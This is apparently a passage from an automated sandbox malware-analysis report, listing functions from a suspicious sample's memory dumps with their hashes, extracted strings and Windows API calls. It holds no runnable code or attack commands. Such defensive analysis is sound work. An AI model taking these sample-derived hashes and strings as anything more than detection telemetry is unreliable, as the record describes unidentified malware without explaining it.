Opcode Fuzzy Hash: 85007a746b93f955c14f421e8abaa7ff25739039de4e6cd02eb68e6291ea3b16
Instruction Fuzzy Hash: DFC012305047294EC505FB66EC855553B6EE7A0212B408E71B00A1A95DDF7D1C895791

Non-executed Functions

Function 02F029E0 Relevance: 5.5, Strings: 4, Instructions: 470COMMON

Download Yara Rule

Strings

Xbq, xrefs: 02F02B57
Xbq, xrefs: 02F02AD8
Xbq, xrefs: 02F02A9E
Xbq, xrefs: 02F02BA4

Memory Dump Source

Source File: 00000006.00000002.4142613199.0000000002F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2f00000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: bb47e1bfd9a8dcabd052ddc5cc4d80b1d59538f7c527fba17ee7d1eb4d3c3869
Instruction ID: 39559adaf0e32d33c499b6964aa30bcc9efc6a776f4cddbee6e2175d0c179136
Opcode Fuzzy Hash: bb47e1bfd9a8dcabd052ddc5cc4d80b1d59538f7c527fba17ee7d1eb4d3c3869
Instruction Fuzzy Hash: B812A1A29096C08FEF324B7844A43FFBFF1AF87308B8909DAC4D696507DA24941BD754

Function 06CF0040 Relevance: 1.8, Strings: 1, Instructions: 596COMMON

Download Yara Rule

Strings

.5vq, xrefs: 06CF015B

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID: .5vq
API String ID: 0-493797296
Opcode ID: cf3aa50dd8982da49cdead94e4ed6db3cce59720ffef6303bfc533dddaafd1ae
Instruction ID: e8e9c0cf40176ce5b8560dc71aa88232c0e0ba10b9843963fccf53875d906747
Opcode Fuzzy Hash: cf3aa50dd8982da49cdead94e4ed6db3cce59720ffef6303bfc533dddaafd1ae
Instruction Fuzzy Hash: 7152BB74E01228CFDB65DF69C894B9DBBB2BB89300F1081EAD509AB354DB359E85CF50

Function 06CFE6B0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f43a2f92aa8c6e4fad67854f33d7cfcb21b0cba8909fc365e9410f808beb6769
Instruction ID: b0de0098916bad2f0273c5e03e04f966d942750cf8d65128b61b4be9d00aa292
Opcode Fuzzy Hash: f43a2f92aa8c6e4fad67854f33d7cfcb21b0cba8909fc365e9410f808beb6769
Instruction Fuzzy Hash: 99C1BE74E11218CFDB54DFA5C984B9DBBB2EF89300F1081AAD909AB364DB385E85DF50

Function 06CFE258 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02704cf74b8421e1ec8a06f9743d48db54bf8c29f2f8d70b1280262658d166aa
Instruction ID: 11d0f797fa0007d53f514a6cedafd37bf056a7924adf34edf106f0e38c154479
Opcode Fuzzy Hash: 02704cf74b8421e1ec8a06f9743d48db54bf8c29f2f8d70b1280262658d166aa
Instruction Fuzzy Hash: 33C1BF74E11218CFDB54DFA5C984B9DBBB2EF89300F2081A9D909AB364DB395E85DF10

Function 06CFDE00 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b5d5a2700aab4663878dd096451d8f0829adbf0f4b25356795b2548105545ef
Instruction ID: 3c6e039dc0672b49b4e8d366e5f4d4ea2ebe1010528020a09f93592dc724f29a
Opcode Fuzzy Hash: 0b5d5a2700aab4663878dd096451d8f0829adbf0f4b25356795b2548105545ef
Instruction Fuzzy Hash: 33C1C074E11218CFDB54DFA5C984B9DBBB2EF89300F1081A9D909AB364DB385E85DF50

Function 06CFF3B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc2ddf71560e317b7c9723c27ea245da414c20549646789c5382a49a5cb177f1
Instruction ID: f7fbbb49adde6cf51442be40d5907e34a3f11851923b623ff88ea30c9471419c
Opcode Fuzzy Hash: dc2ddf71560e317b7c9723c27ea245da414c20549646789c5382a49a5cb177f1
Instruction Fuzzy Hash: CAC1CF74E11218CFDB54DFA5C984B9DBBB2EF89300F2080AAD919AB354DB385E85DF10

Function 06CFEF60 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e64263ac540cc38f88382513923c929234d3c87eba661e09d653a39b4f481101
Instruction ID: cb995e6175a475844ce23c6d046fe273787391c76a4e409ac8d30cfe51715f81
Opcode Fuzzy Hash: e64263ac540cc38f88382513923c929234d3c87eba661e09d653a39b4f481101
Instruction Fuzzy Hash: 55C1BF74E11218CFDB54DFA5C984B9DBBB2EF89300F2080A9D919AB354DB389E85DF50

Function 06CFEB08 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebe1aacd59149de1eb5cd94e241b31921478329ec3ba0553daa790f6d18cfed4
Instruction ID: 63134078cdd073dfb84bc1a24cee149e4a0e18abac0487fab180f46b041a5ab7
Opcode Fuzzy Hash: ebe1aacd59149de1eb5cd94e241b31921478329ec3ba0553daa790f6d18cfed4
Instruction Fuzzy Hash: BAC1B074E11218CFDB94DFA5C984B9DBBB2EF89300F1081A9D909AB364DB385E85DF50

Function 06CFD0F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33d9c59cdce5dfdac58229871c4b6a4abc96175d22100a5ed9d04771ce963539
Instruction ID: 759dd0defe52a5119f7b53dac793cf432429e55d16e9173266064415bf5aa4c5
Opcode Fuzzy Hash: 33d9c59cdce5dfdac58229871c4b6a4abc96175d22100a5ed9d04771ce963539
Instruction Fuzzy Hash: 97C1DF74E11218CFDB54DFA5C984B9DBBB2EF89300F1080A9D909AB354DB386E85DF10

Function 06CFCCA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1167a3be0cb6dbc268f59bee37ce7a0a26e02b7dc5f1d3482ac6eb27c6890239
Instruction ID: 20810e7b62dd1e7afb048df986ef1a669f57b164c1cafffb6d0694d544f437e0
Opcode Fuzzy Hash: 1167a3be0cb6dbc268f59bee37ce7a0a26e02b7dc5f1d3482ac6eb27c6890239
Instruction Fuzzy Hash: A1C1CF74E11218CFDB94DFA5C984B9DBBB2EF89300F1080A9D909AB354DB386E85DF50

Function 06CFF810 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 134964ced35324666bdb60b89ebc4a2a18252fe06c74d48a312dd171d8257811
Instruction ID: ef00dcef0c84d8da577e06b4eaeae163d6d8fb5c1d4ea196d707b2c633b1496b
Opcode Fuzzy Hash: 134964ced35324666bdb60b89ebc4a2a18252fe06c74d48a312dd171d8257811
Instruction Fuzzy Hash: C7C1CE74E11218CFDB54DFA5C984B9DBBB2EF89300F2080AAD919AB354DB385E85DF50

Function 06CFD9A8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6b05dd94e965525f6b5686c7757228ee1bb14f6c4d095aecf5305ae7ff5d17d
Instruction ID: 4fdab76cd110ddeb6d8491a8ab4175713f171e48e59e715086a6797efca7b21c
Opcode Fuzzy Hash: e6b05dd94e965525f6b5686c7757228ee1bb14f6c4d095aecf5305ae7ff5d17d
Instruction Fuzzy Hash: 91C1C074E11218CFDB94DFA5C984B9DBBB2EF89300F1081A9D909AB354DB386E85DF10

Function 06CFD550 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4156819363.0000000006CF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 06CF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6cf0000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dda1b2c10e971a7b5d00680b0e2df981201e613fbe25a85839315e52be1c8580
Instruction ID: 3ad537dae0c6013770b73f0150e4391a41c888f476fdb3b6db2edd5d3032ca62
Opcode Fuzzy Hash: dda1b2c10e971a7b5d00680b0e2df981201e613fbe25a85839315e52be1c8580
Instruction Fuzzy Hash: 4BC1C074E11218CFDB54DFA5C994B9DBBB2EF89300F1080A9D909AB354DB386E85DF10

Function 02F0F970 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4142613199.0000000002F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2f00000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f59198a9ce53143af11a0ef4a46b59f9e56b47de196944279e5458877bcf279
Instruction ID: 6df2634b52e0583fd5433aaaa91ea7570f36121678c536fbb731d563ecb7b280
Opcode Fuzzy Hash: 3f59198a9ce53143af11a0ef4a46b59f9e56b47de196944279e5458877bcf279
Instruction Fuzzy Hash: FCC1CF74E11218CFDB64DFA5C994B9DBBB2EF89300F1081A9D909AB394DB385E85DF10

Function 02F0F2C0 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4142613199.0000000002F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2f00000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 866a3e475ae4c6c1f36bd57199ca9596583f6860bff74211c2241b788152ec80
Instruction ID: 3b1a865bef1b1bb4774cfea14807f6b5b3080398e12e6a812899e060364169c4
Opcode Fuzzy Hash: 866a3e475ae4c6c1f36bd57199ca9596583f6860bff74211c2241b788152ec80
Instruction Fuzzy Hash: AA515970E01208CBDB24DFA9D9947EEBBB2FB89350F14C229D504BB294DB399885DF54

Function 02F0F4AC Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.4142613199.0000000002F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2f00000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ba947829bbe94a3d00fec7b1ad76bf54709f2c2dc1b62b407a19a9e728b45b8
Instruction ID: 3ad935f9cd754c3a9ad9c76abb0b106122e4b5cdb89ea46de53e578cd2f37c36
Opcode Fuzzy Hash: 1ba947829bbe94a3d00fec7b1ad76bf54709f2c2dc1b62b407a19a9e728b45b8
Instruction Fuzzy Hash: D3512474E01208CBDB24DFA8D5D47ADBBB2FB49354F209629D905BB684CB399881DF50

Function 02F02A69 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

Xbq, xrefs: 02F02B57
Xbq, xrefs: 02F02AD8
Xbq, xrefs: 02F02A9E
Xbq, xrefs: 02F02BA4

Memory Dump Source

Source File: 00000006.00000002.4142613199.0000000002F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2f00000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID: Xbq$Xbq$Xbq$Xbq
API String ID: 0-2732225958
Opcode ID: 7046dd420b4e090bdbcd2c21951a9c16882e9c84e4a2e24d4ce9570fb4aa07c1
Instruction ID: 1d3ad72e112a487a9a33ea29714915ff263e651e43f55c49d16aded78dc9ac59
Opcode Fuzzy Hash: 7046dd420b4e090bdbcd2c21951a9c16882e9c84e4a2e24d4ce9570fb4aa07c1
Instruction Fuzzy Hash: 363153B1E002198BDF758EA9C9C476FB6B6BB54380F544465CA09A73C0DF708985DFA2

Function 02F06920 Relevance: 5.0, Strings: 4, Instructions: 49COMMON

Download Yara Rule

Strings

\;^q, xrefs: 02F06936
\;^q, xrefs: 02F0692C
\;^q, xrefs: 02F06952
\;^q, xrefs: 02F0695E

Memory Dump Source

Source File: 00000006.00000002.4142613199.0000000002F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2f00000_2i3Lj7a8Gk.jbxd

Similarity

API ID:
String ID: \;^q$\;^q$\;^q$\;^q
API String ID: 0-3001612457
Opcode ID: 2d862ef8c9b376c72044e42ddd217171ac6cd11b39a6cbbe7afceb738c8dd3ec
Instruction ID: 456a0f3e0d0aa71c1c809136b1f6ab0edffe00ccf4b66b4a39ba4c481585b409
Opcode Fuzzy Hash: 2d862ef8c9b376c72044e42ddd217171ac6cd11b39a6cbbe7afceb738c8dd3ec
Instruction Fuzzy Hash: 9901B132F001159FCB2C8E2CC4A4A2533EFAF88BA17154469EA46CB7E0DB31DC51D750

Analysis Process: lyNyKapwZJLKnn.exePID: 7260, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	7.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	33
Total number of Limit Nodes:	3

Executed Functions

Function 0173D568 Relevance: 6.1, APIs: 4, Instructions: 130
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0173D5F6
GetCurrentThread.KERNEL32 ref: 0173D633
GetCurrentProcess.KERNEL32 ref: 0173D670
GetCurrentThreadId.KERNEL32 ref: 0173D6C9

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: bf13fa51afea8996f6fa78a4211bfd489a2c40957eee1e7282ea6e00619c4095
Instruction ID: 78030d67b4bc3d29087f170943ab95eb884962247c4efca59b0126ba0ce283e6
Opcode Fuzzy Hash: bf13fa51afea8996f6fa78a4211bfd489a2c40957eee1e7282ea6e00619c4095
Instruction Fuzzy Hash: 415156B0901309CFDB14DFA9D548BDEBBF1EF88314F208459E019A72A1DB799944CF25

Function 0173D578 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0173D5F6
GetCurrentThread.KERNEL32 ref: 0173D633
GetCurrentProcess.KERNEL32 ref: 0173D670
GetCurrentThreadId.KERNEL32 ref: 0173D6C9

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 6b2a6eb5bb378e8d5a5d9c498f9ae02d8d8b06fc004d2bee792540b8f83c0bf5
Instruction ID: 52aaa9d5006ef9ab6069c1caba8825d01d1f5c323bb510f5533cc66f76d33448
Opcode Fuzzy Hash: 6b2a6eb5bb378e8d5a5d9c498f9ae02d8d8b06fc004d2bee792540b8f83c0bf5
Instruction Fuzzy Hash: F65143B0901309CFDB14EFAAD548B9EBBF1EB88314F208459E019A72A1DB799944CF65

Function 0173B2E1 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0173B546

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: eda21dd451fd4daebc480435922ce2f652e6f372a830334b20b26806c08b9539
Instruction ID: 71c76787151fdf4961925d765619315e6c1ac464710d3f2ef32393617d83fb77
Opcode Fuzzy Hash: eda21dd451fd4daebc480435922ce2f652e6f372a830334b20b26806c08b9539
Instruction Fuzzy Hash: D38123B0A00B558FDB64DF29D14475ABBF1FF88300F10892ED48ADBA51D774E946CB91

Function 0173480C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01735CC1

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 1f6f8ab6a41100844cc334c30d30c475ea4fa4aba30d9866645074e4c28fd2a6
Instruction ID: fd82a8b5d8b8830393b3d80a22db7ffe5f16c301022cc1245d5fbdba94faab9a
Opcode Fuzzy Hash: 1f6f8ab6a41100844cc334c30d30c475ea4fa4aba30d9866645074e4c28fd2a6
Instruction Fuzzy Hash: 5641C0B0D0071DCFDB24DFA9C948A9DBBF5BF85704F20806AD409AB251DB75694ACF90

Function 01735C04 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 01735CC1

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 4514c0883246b434ba237d9848bfbbd34a219d8625ef47a7cc13197587d92c0c
Instruction ID: 2d9dd9d2d13923d0b3ca04919f6d6909150cd06c156604c43264636971aa2855
Opcode Fuzzy Hash: 4514c0883246b434ba237d9848bfbbd34a219d8625ef47a7cc13197587d92c0c
Instruction Fuzzy Hash: 7141C2B0C00719CEDB24DFA9C948ADDBBB1BF85304F20816AD419AB251DB75694ACF90

Function 0173D7C0 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0173D847

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7c7c6a2881c0b8554c8b2a9adf282e9d59f8b59857f5ab1a1a0d35be78d07c2b
Instruction ID: 5f31b2c881e6be04e90ebb7534bed61455bede6761e347cbb9ce8baf408ac594
Opcode Fuzzy Hash: 7c7c6a2881c0b8554c8b2a9adf282e9d59f8b59857f5ab1a1a0d35be78d07c2b
Instruction Fuzzy Hash: 1621E4B59003489FDB10CF9AD984ADEFFF5EB48310F14801AE958A3351D374A944CF60

Function 0173D7B8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 0173D847

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3e146052ed16b5ebdc5057faa55690cd43e9ce6e240ce6d4abca344c4d3dc453
Instruction ID: c719fe2fcf4564a3e00bf0e317add49ebb2b405418bc845f53bde74ad1841c89
Opcode Fuzzy Hash: 3e146052ed16b5ebdc5057faa55690cd43e9ce6e240ce6d4abca344c4d3dc453
Instruction Fuzzy Hash: F421E0B5D002099FDB10CFAAD984ADEBBF5EB48320F14841AE958A7251D378A944CF61

Function 0173B4E0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 0173B546

Memory Dump Source

Source File: 00000007.00000002.1767784592.0000000001730000.00000040.00000800.00020000.00000000.sdmp, Offset: 01730000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_1730000_lyNyKapwZJLKnn.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 942ef72af58b53655528060ed4f4ac9645fe9cc3b43876076c5b98cbf4d318f9
Instruction ID: c6de7be40df18dd45ae184c909b96fac4f6299afdab47c5e6e40627a59b72fda
Opcode Fuzzy Hash: 942ef72af58b53655528060ed4f4ac9645fe9cc3b43876076c5b98cbf4d318f9
Instruction Fuzzy Hash: EF110FB5C003498FDB10DF9AC444A9EFBF4AB88324F20842AD519A7241C379A645CFA1

Function 0158D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767382451.000000000158D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0158D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_158d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1fb8679e17612c4e14f02414f4fcd8f587e947abf9b5a201bd17a1377ea73994
Instruction ID: aeee23a6be3395c8e1642ee67e023a9949427605ea202951a18facd00e88f071
Opcode Fuzzy Hash: 1fb8679e17612c4e14f02414f4fcd8f587e947abf9b5a201bd17a1377ea73994
Instruction Fuzzy Hash: 1F21C771504244DFDB06EF98D9C4B2ABFF5FB84320F24C569E90A5E286C336D416CB61

Function 0158D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767382451.000000000158D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0158D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_158d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ef673aab4647b80b8581263c2976fb71c7a1870c6c6494c6f48a7dca5269f1b
Instruction ID: 513ff45d99a06d2fb86494698b3e5396e60f7c8bfe8f5c72e8d94d9ebce5608b
Opcode Fuzzy Hash: 0ef673aab4647b80b8581263c2976fb71c7a1870c6c6494c6f48a7dca5269f1b
Instruction Fuzzy Hash: B821F4B1504240DFDB05EF58D9C0B2ABFF5FB84318F24C56AD9091E296C336D416CAB1

Function 0159D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767439168.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 85ce1b0c46e5ebb487de1bbe90729248edb8759a81cfded3affd14c5420313a0
Instruction ID: 19eec2539dc7b2726a0be13f3729373048b65f1cbf970062e1bf1be2fed9cd1c
Opcode Fuzzy Hash: 85ce1b0c46e5ebb487de1bbe90729248edb8759a81cfded3affd14c5420313a0
Instruction Fuzzy Hash: 2D210075604200DFDF15DF68D884B2ABBB5FB84354F20CA6DD80A0F282D33AD807CA62

Function 0159D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767439168.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b6b6194fd9e135ad1c8102ec8ec08ad4ac7a5d4f5615d8af2f9d22be497ce86
Instruction ID: 8a975e7dfff3a50ae4f7f274e513277df8583e12fd459772444ef5ce7f867191
Opcode Fuzzy Hash: 8b6b6194fd9e135ad1c8102ec8ec08ad4ac7a5d4f5615d8af2f9d22be497ce86
Instruction Fuzzy Hash: 1921C875504204DFDF05DF54D5C4B15BBB5FB84324F24C9ADD90A4F296C33AD446CA62

Function 0159D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767439168.000000000159D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0159D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_159d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0fd5e06ef9934ae07d5a3c3f4e3eb77cf7a4a35799864d4f67c759712903233
Instruction ID: 74ede861a98074dc533b7c8d8f226379e20a0a3625a5a349a1c653727f5b66dd
Opcode Fuzzy Hash: f0fd5e06ef9934ae07d5a3c3f4e3eb77cf7a4a35799864d4f67c759712903233
Instruction Fuzzy Hash: E6219F755093808FDB03CF64D994715BF71FB46214F28C5EAD8498F2A7C33A980ACB62

Function 0158D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767382451.000000000158D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0158D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_158d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3660dfe55a9ec3abc1fd528c2c7e977daaa4d4c3ae68719e8bb560421c7628fc
Instruction ID: 6a3d77c17bae9e4391727e3a94e2905ddaaff437bfe56bb30982b5feac6561a5
Opcode Fuzzy Hash: 3660dfe55a9ec3abc1fd528c2c7e977daaa4d4c3ae68719e8bb560421c7628fc
Instruction Fuzzy Hash: 0921C076504244CFDB06DF44D9C4B1ABFB2FB84320F24C1A9DD054A296C33AD416CB91

Function 0158D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.1767382451.000000000158D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0158D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_158d000_lyNyKapwZJLKnn.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
Instruction ID: 96a20594fb5d55c005d5dfd4265910eb64b26a2c49006d9e121cad6dff6cccd2
Opcode Fuzzy Hash: 3d7739f24a7f613363dc0741c1dd4920fb0d2c4cd1d09143030fc2081c46ff73
